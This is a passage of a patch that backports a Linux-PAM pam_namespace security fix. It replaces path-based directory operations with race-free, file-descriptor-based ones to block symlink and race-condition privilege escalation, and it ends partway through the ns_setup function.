+users colluding, could exploit multiple race conditions, and, for
+instance, elevate their privileges to root.
+
+This commit keeps the existing protection as a defense in depth
+measure, and to keep the existing behavior of the module. However,
+it converts all the needed function calls to operate on file
+descriptors instead of absolute paths to protect against race
+conditions globally.
+
+Signed-off-by: Olivier Bal-Petre <olivier.bal-petre@ssi.gouv.fr>
+Signed-off-by: Dmitry V. Levin <ldv@strace.io>
+
+(cherry-picked from 475bd60c552b98c7eddb3270b0b4196847c0072e)
+---
+ modules/pam_namespace/pam_namespace.c | 896 +++++++++++++++++---------
+ modules/pam_namespace/pam_namespace.h |  10 +
+ 2 files changed, 588 insertions(+), 318 deletions(-)
+
+diff --git a/modules/pam_namespace/pam_namespace.c b/modules/pam_namespace/pam_namespace.c
+index e499d95a..93c4dbe0 100644
+--- a/modules/pam_namespace/pam_namespace.c
++++ b/modules/pam_namespace/pam_namespace.c
+@@ -41,6 +41,8 @@
+ #include "pam_namespace.h"
+ #include "argv_parse.h"
+ 
++#define MAGIC_LNK_FD_SIZE 64
++
+ /* --- evaluating all files in VENDORDIR/security/namespace.d and /etc/security/namespace.d --- */
+ static const char *base_name(const char *path)
+ {
+@@ -63,6 +65,248 @@ static void close_fds_pre_exec(struct instance_data *idata)
+ 	}
+ }
+ 
++static void
++strip_trailing_slashes(char *str)
++{
++	char *p = str + strlen(str);
++
++	while (--p > str && *p == '/')
++		*p = '\0';
++}
++
++static int protect_mount(int dfd, const char *path, struct instance_data *idata)
++{
++	struct protect_dir_s *dir = idata->protect_dirs;
++	char tmpbuf[MAGIC_LNK_FD_SIZE];
++
++	while (dir != NULL) {
++		if (strcmp(path, dir->dir) == 0) {
++			return 0;
++		}
++		dir = dir->next;
++	}
++
++	if (pam_sprintf(tmpbuf, "/proc/self/fd/%d", dfd) < 0)
++		return -1;
++
++	dir = calloc(1, sizeof(*dir));
++
++	if (dir == NULL) {
++		return -1;
++	}
++
++	dir->dir = strdup(path);
++
++	if (dir->dir == NULL) {
++		free(dir);
++		return -1;
++	}
++
++	if (idata->flags & PAMNS_DEBUG) {
++		pam_syslog(idata->pamh, LOG_INFO,
++			"Protect mount of %s over itself", path);
++	}
++
++	if (mount(tmpbuf, tmpbuf, NULL, MS_BIND, NULL) != 0) {
++		int save_errno = errno;
++		pam_syslog(idata->pamh, LOG_ERR,
++			"Protect mount of %s failed: %m", tmpbuf);
++		free(dir->dir);
++		free(dir);
++		errno = save_errno;
++		return -1;
++	}
++
++	dir->next = idata->protect_dirs;
++	idata->protect_dirs = dir;
++
++	return 0;
++}
++
++/*
++ * Returns a fd to the given absolute path, acquired securely. This means:
++ * - iterating on each segment of the path,
++ * - not following user symlinks,
++ * - using race-free operations.
++ *
++ * Takes a bit mask to specify the operation mode:
++ * - SECURE_OPENDIR_PROTECT: call protect_mount() on each unsafe segment of path
++ * - SECURE_OPENDIR_MKDIR: create last segment of path if does not exist
++ * - SECURE_OPENDIR_FULL_FD: open the directory with O_RDONLY instead of O_PATH,
++ *     allowing more operations to be done with the returned fd
++ *
++ * Be aware that using SECURE_OPENDIR_PROTECT:
++ * - will modify some external state (global structure...) and should not be
++ *   called in cleanup code paths. See wrapper secure_opendir_stateless()
++ * - need a non-NULL idata to call protect_mount()
++ */
++static int secure_opendir(const char *path, int opm, mode_t mode,
++	struct instance_data *idata)
++{
++	char *p;
++	char *d;
++	char *dir;
++	int dfd = -1;
++	int dfd_next;
++	int save_errno;
++	int flags = O_DIRECTORY | O_CLOEXEC;
++	int rv = -1;
++	struct stat st;
++
++	if (opm & SECURE_OPENDIR_FULL_FD)
++		flags |= O_RDONLY;
++	else
++		flags |= O_PATH;
++
++	/* Check for args consistency */
++	if ((opm & SECURE_OPENDIR_PROTECT) && idata == NULL)
++		return -1;
++
++	/* Accept only absolute paths */
++	if (*path != '/')
++		return -1;
++
++	dir = p = strdup(path);
++	if (p == NULL)
++		return -1;
++
++	/* Assume '/' is safe */
++	dfd = open("/", flags);
++	if (dfd == -1)
++		goto error;
++
++	/* Needed to not loop too far and call openat() on NULL */
++	strip_trailing_slashes(p);
++
++	dir++;
++
++	/* In case path is '/' */
++	if (*dir == '\0') {
++		free(p);
++		return dfd;
++	}
++
++	while ((d=strchr(dir, '/')) != NULL) {
++		*d = '\0';
++
++		dfd_next = openat(dfd, dir, flags);
++		if (dfd_next == -1)
++			goto error;
++
++		if (fstat(dfd_next, &st) != 0) {
++			close(dfd_next);
++			goto error;
++		}
++
++		if ((flags & O_NOFOLLOW) && (opm & SECURE_OPENDIR_PROTECT)) {
++			/* we are inside user-owned dir - protect */
++			if (protect_mount(dfd_next, p, idata) == -1) {
++				close(dfd_next);
++				goto error;
++			}
++			/*
++			 * Reopen the directory to obtain a new descriptor
++			 * after protect_mount(), this is necessary in cases
++			 * when another directory is going to be mounted over
++			 * the given path.
++			 */
++			close(dfd_next);
++			dfd_next = openat(dfd, dir, flags);
++			if (dfd_next == -1)
++				goto error;
++			} else if (st.st_uid != 0
++		           || (st.st_gid != 0 && (st.st_mode & S_IWGRP))
++		           || (st.st_mode & S_IWOTH)) {
++			/* do not follow symlinks on subdirectories */
++			flags |= O_NOFOLLOW;
++		}
++
++		close(dfd);
++		dfd = dfd_next;
++
++		*d = '/';
++		dir = d + 1;
++	}
++
++	rv = openat(dfd, dir, flags);
++
++	if (rv == -1) {
++		if ((opm & SECURE_OPENDIR_MKDIR) && mkdirat(dfd, dir, mode) == 0)
++			rv = openat(dfd, dir, flags);
++
++		if (rv == -1)
++			goto error;
++	}
++
++	if ((flags & O_NOFOLLOW) && (opm & SECURE_OPENDIR_PROTECT)) {
++		/* we are inside user-owned dir - protect */
++		if (protect_mount(rv, p, idata) == -1) {
++			save_errno = errno;
++			close(rv);
++			rv = -1;
++			errno = save_errno;
++		}
++		/*
++		 * Reopen the directory to obtain a new descriptor after
++		 * protect_mount(), this is necessary in cases when another
++		 * directory is going to be mounted over the given path.
++		 */
++		close(rv);
++		rv = openat(dfd, dir, flags);
++	}
++
++error:
++	save_errno = errno;
++	free(p);
++	if (dfd >= 0)
++		close(dfd);
++	errno = save_errno;
++
++	return rv;
++}
++
++/*
++ * Returns a fd to the given path, acquired securely.
++ * It can be called in all situations, including in cleanup code paths, as
++ * it does not modify external state (no access to global structures...).
++ */
++static int secure_opendir_stateless(const char *path)
++{
++	return secure_opendir(path, 0, 0, NULL);
++}
++
++/*
++ * Umount securely the given path, even if the directories along
++ * the path are under user control. It should protect against
++ * symlinks attacks and race conditions.
++ */
++static int secure_umount(const char *path)
++{
++	int save_errno;
++	int rv = -1;
++	int dfd = -1;
++	char s_path[MAGIC_LNK_FD_SIZE];
++
++	dfd = secure_opendir_stateless(path);
++	if (dfd == -1)
++		return rv;
++
++	if (pam_sprintf(s_path, "/proc/self/fd/%d", dfd) < 0)
++		goto error;
++
++	/*
++	* We still have a fd open to path itself,
++	* so we need to do a lazy umount.
++	*/
++	rv = umount2(s_path, MNT_DETACH);
++
++error:
++	save_errno = errno;
++	close(dfd);
++	errno = save_errno;
++	return rv;
++}
++
+ /* Evaluating a list of files which have to be parsed in the right order:
+  *
+  * - If etc/security/namespace.d/@filename@.conf exists, then
+@@ -188,7 +432,7 @@ static void unprotect_dirs(struct protect_dir_s *dir)
+ 	struct protect_dir_s *next;
+ 
+ 	while (dir != NULL) {
+-		umount(dir->dir);
++		secure_umount(dir->dir);
+ 		free(dir->dir);
+ 		next = dir->next;
+ 		free(dir);
+@@ -606,14 +850,9 @@ static int process_line(char *line, const char *home, const char *rhome,
+ 	    goto skipping;
+     }
+ 
+-#define COPY_STR(dst, src, apd)                                \
+-	(snprintf((dst), sizeof(dst), "%s%s", (src), (apd)) != \
+-		  (ssize_t) (strlen(src) + strlen(apd)))
+-
+-    if (COPY_STR(poly->dir, dir, "")
+-	|| COPY_STR(poly->rdir, rdir, "")
+-	|| COPY_STR(poly->instance_prefix, instance_prefix,
+-		    poly->method == TMPDIR ? "XXXXXX" : "")) {
++    if (pam_sprintf(poly->dir, "%s", dir) < 0
++	|| pam_sprintf(poly->rdir, "%s", rdir) < 0
++	|| pam_sprintf(poly->instance_prefix, "%s", instance_prefix) < 0) {
+ 	pam_syslog(idata->pamh, LOG_NOTICE, "Pathnames too long");
+ 	goto skipping;
+     }
+@@ -896,6 +1135,23 @@ static char *md5hash(const char *instname, struct instance_data *idata)
+ }
+ 
+ #ifdef WITH_SELINUX
++static char *secure_getfilecon(pam_handle_t *pamh, const char *dir)
++{
++	char *ctx = NULL;
++	int dfd = secure_opendir(dir, SECURE_OPENDIR_FULL_FD, 0, NULL);
++	if (dfd < 0) {
++		pam_syslog(pamh, LOG_ERR, "Error getting fd to %s: %m", dir);
++		return NULL;
++	}
++	if (fgetfilecon(dfd, &ctx) < 0)
++		ctx = NULL;
++	if (ctx == NULL)
++		pam_syslog(pamh, LOG_ERR,
++			   "Error getting poly dir context for %s: %m", dir);
++	close(dfd);
++	return ctx;
++}
++
+ static int form_context(const struct polydir_s *polyptr,
+ 		char **i_context, char **origcon,
+ 		struct instance_data *idata)
+@@ -907,12 +1163,9 @@ static int form_context(const struct polydir_s *polyptr,
+ 	/*
+ 	 * Get the security context of the directory to polyinstantiate.
+ 	 */
+-	rc = getfilecon(polyptr->dir, origcon);
+-	if (rc < 0 || *origcon == NULL) {
+-		pam_syslog(idata->pamh, LOG_ERR,
+-				"Error getting poly dir context, %m");
++	*origcon = secure_getfilecon(idata->pamh, polyptr->dir);
++	if (*origcon == NULL)
+ 		return PAM_SESSION_ERR;
+-	}
+ 
+ 	if (polyptr->method == USER) return PAM_SUCCESS;
+ 
+@@ -1008,29 +1261,52 @@ static int form_context(const struct polydir_s *polyptr,
+ #endif
+ 
+ /*
+- * poly_name returns the name of the polyinstantiated instance directory
++ * From the instance differentiation string, set in the polyptr structure:
++ * - the absolute path to the instance dir,
++ * - the absolute path to the previous dir (parent),
++ * - the instance name (may be different than the instance differentiation string)
++ */
++static int set_polydir_paths(struct polydir_s *polyptr, const char *inst_differentiation)
++{
++	char *tmp;
++
++	if (pam_sprintf(polyptr->instance_absolute, "%s%s",
++	                polyptr->instance_prefix, inst_differentiation) < 0)
++		return -1;
++
++	polyptr->instname = strrchr(polyptr->instance_absolute, '/') + 1;
++
++	if (pam_sprintf(polyptr->instance_parent, "%s", polyptr->instance_absolute) < 0)
++		return -1;
++
++	tmp = strrchr(polyptr->instance_parent, '/') + 1;
++	*tmp = '\0';
++
++	return 0;
++}
++
++/*
++ * Set the name of the polyinstantiated instance directory
+  * based on the method used for polyinstantiation (user, context or level)
+  * In addition, the function also returns the security contexts of the
+  * original directory to polyinstantiate and the polyinstantiated instance
+  * directory.
+  */
+ #ifdef WITH_SELINUX
+-static int poly_name(const struct polydir_s *polyptr, char **i_name,
+-	char **i_context, char **origcon,
+-        struct instance_data *idata)
++static int poly_name(struct polydir_s *polyptr, char **i_context,
++        char **origcon, struct instance_data *idata)
+ #else
+-static int poly_name(const struct polydir_s *polyptr, char **i_name,
+-	struct instance_data *idata)
++static int poly_name(struct polydir_s *polyptr, struct instance_data *idata)
+ #endif
+ {
+     int rc;
++    char *inst_differentiation = NULL;
+     char *hash = NULL;
+     enum polymethod pm;
+ #ifdef WITH_SELINUX
+     char *rawcon = NULL;
+ #endif
+ 
+-    *i_name = NULL;
+ #ifdef WITH_SELINUX
+     *i_context = NULL;
+     *origcon = NULL;
+@@ -1064,10 +1340,8 @@ static int poly_name(const struct polydir_s *polyptr, char **i_name,
+ 
+     switch (pm) {
+         case USER:
+-	    if (asprintf(i_name, "%s", idata->user) < 0) {
+-		*i_name = NULL;
++	    if ((inst_differentiation = strdup(idata->user)) == NULL)
+ 		goto fail;
+-	    }
+ 	    break;
+ 
+ #ifdef WITH_SELINUX
+@@ -1077,26 +1351,23 @@ static int poly_name(const struct polydir_s *polyptr, char **i_name,
+ 		pam_syslog(idata->pamh, LOG_ERR, "Error translating directory context");
+ 		goto fail;
+ 	    }
+-	    if (polyptr->flags & POLYDIR_SHARED) {
+-		if (asprintf(i_name, "%s", rawcon) < 0) {
+-			*i_name = NULL;
+-			goto fail;
+-		}
+-	    } else {
+-		if (asprintf(i_name, "%s_%s", rawcon, idata->user) < 0) {
+-			*i_name = NULL;
+-			goto fail;
+-		}
+-	    }
++	    if (polyptr->flags & POLYDIR_SHARED)
++		inst_differentiation = strdup(rawcon);
++	    else
++		inst_differentiation = pam_asprintf("%s_%s", rawcon, idata->user);
++	    if (inst_differentiation == NULL)
++		goto fail;
+ 	    break;
+-
+ #endif /* WITH_SELINUX */
+-
+ 	case TMPDIR:
++	    if ((inst_differentiation = strdup("XXXXXX")) == NULL)
++		goto fail;
++	    goto success;
++
+ 	case TMPFS:
+-	    if ((*i_name=strdup("")) == NULL)
++	    if ((inst_differentiation=strdup("")) == NULL)
+ 		goto fail;
+-	    return PAM_SUCCESS;
++	    goto success;
+ 
+ 	default:
+ 	    if (idata->flags & PAMNS_DEBUG)
+@@ -1105,31 +1376,37 @@ static int poly_name(const struct polydir_s *polyptr, char **i_name,
+     }
+ 
+     if (idata->flags & PAMNS_DEBUG)
+-        pam_syslog(idata->pamh, LOG_DEBUG, "poly_name %s", *i_name);
++        pam_syslog(idata->pamh, LOG_DEBUG, "poly_name %s", inst_differentiation);
+ 
+-    if ((idata->flags & PAMNS_GEN_HASH) || strlen(*i_name) > NAMESPACE_MAX_DIR_LEN) {
+-        hash = md5hash(*i_name, idata);
++    if ((idata->flags & PAMNS_GEN_HASH) || strlen(inst_differentiation) > NAMESPACE_MAX_DIR_LEN) {
++        hash = md5hash(inst_differentiation, idata);
+         if (hash == NULL) {
+ 	    goto fail;
+         }
+         if (idata->flags & PAMNS_GEN_HASH) {
+-	    free(*i_name);
+-	    *i_name = hash;
++	    free(inst_differentiation);
++	    inst_differentiation = hash;
+ 	    hash = NULL;
+         } else {
+-	    char *newname;
+-	    if (asprintf(&newname, "%.*s_%s", NAMESPACE_MAX_DIR_LEN-1-(int)strlen(hash),
+-		*i_name, hash) < 0) {
++	    char *newname =
++		pam_asprintf("%.*s_%s",
++			     NAMESPACE_MAX_DIR_LEN - 1 - (int)strlen(hash),
++			     inst_differentiation, hash);
++	    if (newname == NULL)
+ 		goto fail;
+-	    }
+-	    free(*i_name);
+-	    *i_name = newname;
++	    free(inst_differentiation);
++	    inst_differentiation = newname;
+         }
+     }
+-    rc = PAM_SUCCESS;
+ 
++success:
++    if (set_polydir_paths(polyptr, inst_differentiation) == -1)
++        goto fail;
++
++    rc = PAM_SUCCESS;
+ fail:
+     free(hash);
++    free(inst_differentiation);
+ #ifdef WITH_SELINUX
+     freecon(rawcon);
+ #endif
+@@ -1140,186 +1417,65 @@ fail:
+ 	freecon(*origcon);
+ 	*origcon = NULL;
+ #endif
+-	free(*i_name);
+-	*i_name = NULL;
+     }
+     return rc;
+ }
+ 
+-static int protect_mount(int dfd, const char *path, struct instance_data *idata)
++/*
++ * Rmdir the given path securely, protecting against symlinks attacks
++ * and race conditions.
++ * This function is currently called only in cleanup code paths where
++ * any errors returned are not handled, so do not handle them either.
++ * Basically, try to rmdir the path on a best-effort basis.
++ */
++static void secure_try_rmdir(const char *path)
+ {
+-	struct protect_dir_s *dir = idata->protect_dirs;
+-	char tmpbuf[64];
+-
+-	while (dir != NULL) {
+-		if (strcmp(path, dir->dir) == 0) {
+-			return 0;
+-		}
+-		dir = dir->next;
+-	}
+-
+-	dir = calloc(1, sizeof(*dir));
+-
+-	if (dir == NULL) {
+-		return -1;
+-	}
+-
+-	dir->dir = strdup(path);
+-
+-	if (dir->dir == NULL) {
+-		free(dir);
+-		return -1;
+-	}
++	int dfd;
++	char *buf;
++	char *parent;
+ 
+-	snprintf(tmpbuf, sizeof(tmpbuf), "/proc/self/fd/%d", dfd);
++	buf = strdup(path);
++	if (buf == NULL)
++		return;
+ 
+-	if (idata->flags & PAMNS_DEBUG) {
+-		pam_syslog(idata->pamh, LOG_INFO,
+-			"Protect mount of %s over itself", path);
+-	}
++	parent = dirname(buf);
+ 
+-	if (mount(tmpbuf, tmpbuf, NULL, MS_BIND, NULL) != 0) {
+-		int save_errno = errno;
+-		pam_syslog(idata->pamh, LOG_ERR,
+-			"Protect mount of %s failed: %m", tmpbuf);
+-		free(dir->dir);
+-		free(dir);
+-		errno = save_errno;
+-		return -1;
++	dfd = secure_opendir_stateless(parent);
++	if (dfd >= 0) {
++		unlinkat(dfd, base_name(path), AT_REMOVEDIR);
++		close(dfd);
+ 	}
+ 
+-	dir->next = idata->protect_dirs;
+-	idata->protect_dirs = dir;
+-
+-	return 0;
++	free(buf);
+ }
+ 
+-static int protect_dir(const char *path, mode_t mode, int do_mkdir,
+-	struct instance_data *idata)
+-{
+-	char *p = strdup(path);
+-	char *d;
+-	char *dir = p;
+-	int dfd = AT_FDCWD;
+-	int dfd_next;
+-	int save_errno;
+-	int flags = O_RDONLY | O_DIRECTORY;
+-	int rv = -1;
+-	struct stat st;
+-
+-	if (p == NULL) {
+-		goto error;
+-	}
+-
+-	if (*dir == '/') {
+-		dfd = open("/", flags);
+-		if (dfd == -1) {
+-			goto error;
+-		}
+-		dir++;	/* assume / is safe */
+-	}
+-
+-	while ((d=strchr(dir, '/')) != NULL) {
+-		*d = '\0';
+-		dfd_next = openat(dfd, dir, flags);
+-		if (dfd_next == -1) {
+-			goto error;
+-		}
+-
+-		if (dfd != AT_FDCWD)
+-			close(dfd);
+-		dfd = dfd_next;
+-
+-		if (fstat(dfd, &st) != 0) {
+-			goto error;
+-		}
+-
+-		if (flags & O_NOFOLLOW) {
+-			/* we are inside user-owned dir - protect */
+-			if (protect_mount(dfd, p, idata) == -1)
+-				goto error;
+-		} else if (st.st_uid != 0 || st.st_gid != 0 ||
+-			(st.st_mode & S_IWOTH)) {
+-			/* do not follow symlinks on subdirectories */
+-			flags |= O_NOFOLLOW;
+-		}
+-
+-		*d = '/';
+-		dir = d + 1;
+-	}
+-
+-	rv = openat(dfd, dir, flags);
+-
+-	if (rv == -1) {
+-		if (!do_mkdir || mkdirat(dfd, dir, mode) != 0) {
+-			goto error;
+-		}
+-		rv = openat(dfd, dir, flags);
+-	}
+ 
+-	if (flags & O_NOFOLLOW) {
+-		/* we are inside user-owned dir - protect */
+-		if (protect_mount(rv, p, idata) == -1) {
+-			save_errno = errno;
+-			close(rv);
+-			rv = -1;
+-			errno = save_errno;
+-		}
+-	}
+ 
+-error:
+-	save_errno = errno;
+-	free(p);
+-	if (dfd != AT_FDCWD && dfd >= 0)
+-		close(dfd);
+-	errno = save_errno;
+-
+-	return rv;
+-}
+-
+-static int check_inst_parent(char *ipath, struct instance_data *idata)
++static int check_inst_parent(int dfd, struct instance_data *idata)
+ {
+ 	struct stat instpbuf;
+-	char *inst_parent, *trailing_slash;
+-	int dfd;
++
+ 	/*
+-	 * stat the instance parent path to make sure it exists
+-	 * and is a directory. Check that its mode is 000 (unless the
+-	 * admin explicitly instructs to ignore the instance parent
+-	 * mode by the "ignore_instance_parent_mode" argument).
++	 * Stat the instance parent directory to make sure it's writable by
++	 * root only (unless the admin explicitly instructs to ignore the
++	 * instance parent mode by the "ignore_instance_parent_mode" argument).
+ 	 */
+-	inst_parent = strdup(ipath);
+-	if (!inst_parent) {
+-		pam_syslog(idata->pamh, LOG_CRIT, "Error allocating pathname string");
+-		return PAM_SESSION_ERR;
+-	}
+ 
+-	trailing_slash = strrchr(inst_parent, '/');
+-	if (trailing_slash)
+-		*trailing_slash = '\0';
+-
+-	dfd = protect_dir(inst_parent, 0, 1, idata);
++	if (idata->flags & PAMNS_IGN_INST_PARENT_MODE)
++		return PAM_SUCCESS;
+ 
+-	if (dfd == -1 || fstat(dfd, &instpbuf) < 0) {
++	if (fstat(dfd, &instpbuf) < 0) {
+ 		pam_syslog(idata->pamh, LOG_ERR,
+-			"Error creating or accessing instance parent %s, %m", inst_parent);
+-		if (dfd != -1)
+-			close(dfd);
+-		free(inst_parent);
++			"Error accessing instance parent, %m");
+ 		return PAM_SESSION_ERR;
+ 	}
+ 
+-	if ((idata->flags & PAMNS_IGN_INST_PARENT_MODE) == 0) {
+-		if ((instpbuf.st_mode & (S_IRWXU|S_IRWXG|S_IRWXO)) || instpbuf.st_uid != 0) {
+-			pam_syslog(idata->pamh, LOG_ERR, "Mode of inst parent %s not 000 or owner not root",
+-					inst_parent);
+-			close(dfd);
+-			free(inst_parent);
+-			return PAM_SESSION_ERR;
+-		}
++	if ((instpbuf.st_mode & (S_IRWXU|S_IRWXG|S_IRWXO)) || instpbuf.st_uid != 0) {
++		pam_syslog(idata->pamh, LOG_ERR,
++			"Mode of inst parent not 000 or owner not root");
++		return PAM_SESSION_ERR;
+ 	}
+-	close(dfd);
+-	free(inst_parent);
++
+ 	return PAM_SUCCESS;
+ }
+ 
+@@ -1457,11 +1613,16 @@ static int create_polydir(struct polydir_s *polyptr,
+     }
+ #endif
+ 
+-    rc = protect_dir(dir, mode, 1, idata);
++    rc = secure_opendir(dir,
++            SECURE_OPENDIR_PROTECT | SECURE_OPENDIR_MKDIR | SECURE_OPENDIR_FULL_FD,
++            mode, idata);
+     if (rc == -1) {
+             pam_syslog(idata->pamh, LOG_ERR,
+                        "Error creating directory %s: %m", dir);
+-            return PAM_SESSION_ERR;
++#ifdef WITH_SELINUX
++            freecon(oldcon_raw);
++#endif
++            return -1;
+     }
+ 
+ #ifdef WITH_SELINUX
+@@ -1482,9 +1643,9 @@ static int create_polydir(struct polydir_s *polyptr,
+ 		pam_syslog(idata->pamh, LOG_ERR,
+ 			   "Error changing mode of directory %s: %m", dir);
+                 close(rc);
+-                umount(dir); /* undo the eventual protection bind mount */
+-		rmdir(dir);
+-		return PAM_SESSION_ERR;
++		secure_umount(dir); /* undo the eventual protection bind mount */
++		secure_try_rmdir(dir);
++		return -1;
+ 	}
+     }
+ 
+@@ -1502,41 +1663,37 @@ static int create_polydir(struct polydir_s *polyptr,
+         pam_syslog(idata->pamh, LOG_ERR,
+                    "Unable to change owner on directory %s: %m", dir);
+         close(rc);
+-        umount(dir); /* undo the eventual protection bind mount */
+-	rmdir(dir);
+-	return PAM_SESSION_ERR;
++	secure_umount(dir); /* undo the eventual protection bind mount */
++	secure_try_rmdir(dir);
++	return -1;
+     }
+ 
+-    close(rc);
+-
+     if (idata->flags & PAMNS_DEBUG)
+ 	pam_syslog(idata->pamh, LOG_DEBUG,
+ 	           "Polydir owner %u group %u", uid, gid);
+ 
+-    return PAM_SUCCESS;
++    return rc;
+ }
+ 
+ /*
+- * Create polyinstantiated instance directory (ipath).
++ * Create polyinstantiated instance directory.
++ * To protect against races, changes are done on a fd to the parent of the
++ * instance directory (dfd_iparent) and a relative path (polyptr->instname).
++ * The absolute path (polyptr->instance_absolute) is only updated when creating
++ * a tmpdir and used for logging purposes.
+  */
+ #ifdef WITH_SELINUX
+-static int create_instance(struct polydir_s *polyptr, char *ipath, struct stat *statbuf,
+-        const char *icontext, const char *ocontext,
+-	struct instance_data *idata)
++static int create_instance(struct polydir_s *polyptr, int dfd_iparent,
++        struct stat *statbuf, const char *icontext, const char *ocontext,
++        struct instance_data *idata)
+ #else
+-static int create_instance(struct polydir_s *polyptr, char *ipath, struct stat *statbuf,
+-	struct instance_data *idata)
++static int create_instance(struct polydir_s *polyptr, int dfd_iparent,
++        struct stat *statbuf, struct instance_data *idata)
+ #endif
+ {
+     struct stat newstatbuf;
+     int fd;
+ 
+-    /*
+-     * Check to make sure instance parent is valid.
+-     */
+-    if (check_inst_parent(ipath, idata))
+-	return PAM_SESSION_ERR;
+-
+     /*
+      * Create instance directory and set its security context to the context
+      * returned by the security policy. Set its mode and ownership
+@@ -1545,29 +1702,39 @@ static int create_instance(struct polydir_s *polyptr, char *ipath, struct stat *
+      */
+ 
+     if (polyptr->method == TMPDIR) {
+-	if (mkdtemp(polyptr->instance_prefix) == NULL) {
+-            pam_syslog(idata->pamh, LOG_ERR, "Error creating temporary instance %s, %m",
+-			polyptr->instance_prefix);
+-	    polyptr->method = NONE; /* do not clean up! */
+-	    return PAM_SESSION_ERR;
+-	}
+-	/* copy the actual directory name to ipath */
+-	strcpy(ipath, polyptr->instance_prefix);
+-    } else if (mkdir(ipath, S_IRUSR) < 0) {
++        char s_path[PATH_MAX];
++        /*
++         * Create the template for mkdtemp() as a magic link based on
++         * our existing fd to avoid symlink attacks and races.
++         */
++        if (pam_sprintf(s_path, "/proc/self/fd/%d/%s", dfd_iparent, polyptr->instname) < 0
++            || mkdtemp(s_path) == NULL) {
++            pam_syslog(idata->pamh, LOG_ERR,
++                       "Error creating temporary instance dir %s, %m",
++                       polyptr->instance_absolute);
++            polyptr->method = NONE; /* do not clean up! */
++            return PAM_SESSION_ERR;
++        }
++
++        /* Copy the actual directory name to polyptr->instname */
++        strcpy(polyptr->instname, base_name(s_path));
++    } else if (mkdirat(dfd_iparent, polyptr->instname, S_IRUSR) < 0) {
+         if (errno == EEXIST)
+             return PAM_IGNORE;
+         else {
+             pam_syslog(idata->pamh, LOG_ERR, "Error creating %s, %m",
+-			ipath);
++                       polyptr->instance_absolute);
+             return PAM_SESSION_ERR;
+         }
+     }
+ 
+-    /* Open a descriptor to it to prevent races */
+-    fd = open(ipath, O_DIRECTORY | O_RDONLY);
++    /* Open a descriptor to prevent races, based on our existing fd. */
++    fd = openat(dfd_iparent, polyptr->instname,
++	O_RDONLY | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC);
+     if (fd < 0) {
+-	pam_syslog(idata->pamh, LOG_ERR, "Error opening %s, %m", ipath);
+-	rmdir(ipath);
++	pam_syslog(idata->pamh, LOG_ERR, "Error opening %s, %m",
++                polyptr->instance_absolute);
++	unlinkat(dfd_iparent, polyptr->instname, AT_REMOVEDIR);
+ 	return PAM_SESSION_ERR;
+     }
+ #ifdef WITH_SELINUX
+@@ -1577,17 +1744,19 @@ static int create_instance(struct polydir_s *polyptr, char *ipath, struct stat *
+         if (icontext) {
+             if (fsetfilecon(fd, icontext) < 0) {
+                 pam_syslog(idata->pamh, LOG_ERR,
+-			"Error setting context of %s to %s", ipath, icontext);
++			"Error setting context of %s to %s",
++			polyptr->instance_absolute, icontext);
+                 close(fd);
+-		rmdir(ipath);
++                unlinkat(dfd_iparent, polyptr->instname, AT_REMOVEDIR);
+                 return PAM_SESSION_ERR;
+             }
+         } else {
+             if (fsetfilecon(fd, ocontext) < 0) {
+                 pam_syslog(idata->pamh, LOG_ERR,
+-			"Error setting context of %s to %s", ipath, ocontext);
++			"Error setting context of %s to %s",
++			polyptr->instance_absolute, ocontext);
+ 		close(fd);
+-		rmdir(ipath);
++                unlinkat(dfd_iparent, polyptr->instname, AT_REMOVEDIR);
+                 return PAM_SESSION_ERR;
+             }
+         }
+@@ -1595,9 +1764,9 @@ static int create_instance(struct polydir_s *polyptr, char *ipath, struct stat *
+ #endif
+     if (fstat(fd, &newstatbuf) < 0) {
+         pam_syslog(idata->pamh, LOG_ERR, "Error stating %s, %m",
+-		ipath);
++		polyptr->instance_absolute);
+ 	close(fd);
+-	rmdir(ipath);
++        unlinkat(dfd_iparent, polyptr->instname, AT_REMOVEDIR);
+         return PAM_SESSION_ERR;
+     }
+     if (newstatbuf.st_uid != statbuf->st_uid ||
+@@ -1605,17 +1774,17 @@ static int create_instance(struct polydir_s *polyptr, char *ipath, struct stat *
+         if (fchown(fd, statbuf->st_uid, statbuf->st_gid) < 0) {
+             pam_syslog(idata->pamh, LOG_ERR,
+ 			"Error changing owner for %s, %m",
+-			ipath);
++			polyptr->instance_absolute);
+ 	    close(fd);
+-	    rmdir(ipath);
++            unlinkat(dfd_iparent, polyptr->instname, AT_REMOVEDIR);
+             return PAM_SESSION_ERR;
+         }
+     }
+     if (fchmod(fd, statbuf->st_mode & 07777) < 0) {
+         pam_syslog(idata->pamh, LOG_ERR, "Error changing mode for %s, %m",
+-			ipath);
++			polyptr->instance_absolute);
+ 	close(fd);
+-	rmdir(ipath);
++        unlinkat(dfd_iparent, polyptr->instname, AT_REMOVEDIR);
+         return PAM_SESSION_ERR;
+     }
+     close(fd);
+@@ -1634,9 +1803,12 @@ static int ns_setup(struct polydir_s *polyptr,
+ 	struct instance_data *idata)
+ {
+     int retval;
++    int dfd_iparent = -1;
++    int dfd_ipath = -1;
++    int dfd_pptrdir = -1;
+     int newdir = 1;
+-    char *inst_dir = NULL;
+-    char *instname = NULL;
++    char s_ipath[MAGIC_LNK_FD_SIZE];
++    char s_pptrdir[MAGIC_LNK_FD_SIZE];
+     struct stat statbuf;
+ #ifdef WITH_SELINUX
+     char *instcontext = NULL, *origcontext = NULL;
+@@ -1646,39 +1818,48 @@ static int ns_setup(struct polydir_s *polyptr,
+         pam_syslog(idata->pamh, LOG_DEBUG,
+                "Set namespace for directory %s", polyptr->dir);
+ 
+-    retval = protect_dir(polyptr->dir, 0, 0, idata);
+-
+-    if (retval < 0 && errno != ENOENT) {
+-	pam_syslog(idata->pamh, LOG_ERR, "Polydir %s access error: %m",
+-		polyptr->dir);
+-	return PAM_SESSION_ERR;
+-    }
++    dfd_pptrdir = secure_opendir(polyptr->dir, SECURE_OPENDIR_PROTECT, 0, idata);
+ 
+-    if (retval < 0) {
+-	if ((polyptr->flags & POLYDIR_CREATE) &&
+-		create_polydir(polyptr, idata) != PAM_SUCCESS)
+-		return PAM_SESSION_ERR;
+-    } else {
+-	close(retval);
++    if (dfd_pptrdir < 0) {
++        if (errno != ENOENT || !(polyptr->flags & POLYDIR_CREATE)) {
++            pam_syslog(idata->pamh, LOG_ERR, "Polydir %s access error: %m",
++                    polyptr->dir);
++            return PAM_SESSION_ERR;
++        }
++        dfd_pptrdir = create_polydir(polyptr, idata);
++        if (dfd_pptrdir < 0)
++            return PAM_SESSION_ERR;
+     }
+ 
+     if (polyptr->method == TMPFS) {
